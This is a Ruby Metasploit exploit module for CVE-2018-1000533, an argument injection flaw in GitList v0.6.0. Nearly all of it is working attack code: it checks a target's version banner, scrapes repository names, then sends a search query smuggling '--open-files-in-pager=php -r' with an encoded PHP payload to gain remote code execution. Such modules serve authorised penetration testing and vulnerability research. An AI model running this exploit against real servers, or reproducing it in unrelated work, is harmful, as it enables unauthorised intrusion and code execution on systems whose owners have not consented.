##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "GitList v0.6.0 Argument Injection Vulnerability",
      'Description'    => %q{
        This module exploits an argument injection vulnerability in GitList v0.6.0.
        The vulnerability arises from GitList improperly validating input using the php function
        'escapeshellarg'.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Kacper Szurek', # EDB POC
          'Shelby Pace'    # Metasploit Module
        ],
      'References'     =>
        [
          [ 'CVE', '2018-1000533' ],
          [ 'EDB', '44548' ],
          [ 'URL', 'https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html']
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'GitList v0.6.0', { } ]
        ],
      'Privileged'     => false,
      'Payload'        => { 'BadChars' => '\'' },
      'DisclosureDate' => '2018-04-26',
      'DefaultTarget'  => 0))

    register_options(
    [
      OptString.new('TARGETURI', [true, 'Default path to GitList', '/'])
    ])

  end

  def check
    uri = normalize_uri(target_uri.path)
    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     => uri
    )

    if res && res.code == 200 && /Powered by .*GitList 0\.6\.0/.match(res.body)
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def get_repo
    repo_res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    )

    if repo_res && repo_res.code == 200
      repos = repo_res.body.scan(/\/([^\/]+)\/master\/rss\//).flatten
      fail_with(Failure::Unreachable, "Could not retrieve any repos") if repos.empty?
      return repos.detect{ |r| r if has_files?(r) }
    else
      fail_with(Failure::Unreachable, "Could not access GitList")
    end
  end

  def has_files?(repo)
    res = send_request_cgi(
    'method' => 'GET',
    'uri'    => normalize_uri(target_uri.path, repo, '/')
    )
    if res && res.code == 200
     print_good("Successfully accessed repo #{repo}")
     return false if res.body.scan(/#{repo}\/blob\/master\//).flatten.empty?

     return true
    else
      fail_with(Failure::Unreachable, "Couldn't detect files in #{repo}'s repo")
    end
  end

  def exploit
    repo = get_repo
    fail_with(Failure::Unreachable, "No files found in repos") if repo.nil?

    postUri = normalize_uri(target_uri.path, repo << '/tree/c/search')
    cmd = "--open-files-in-pager=php -r '#{payload.encoded}'"
    send_request_cgi(
      'method' => 'POST',
      'uri'    => postUri,
      'vars_post' => { 'query' => cmd }
    )
  end
end
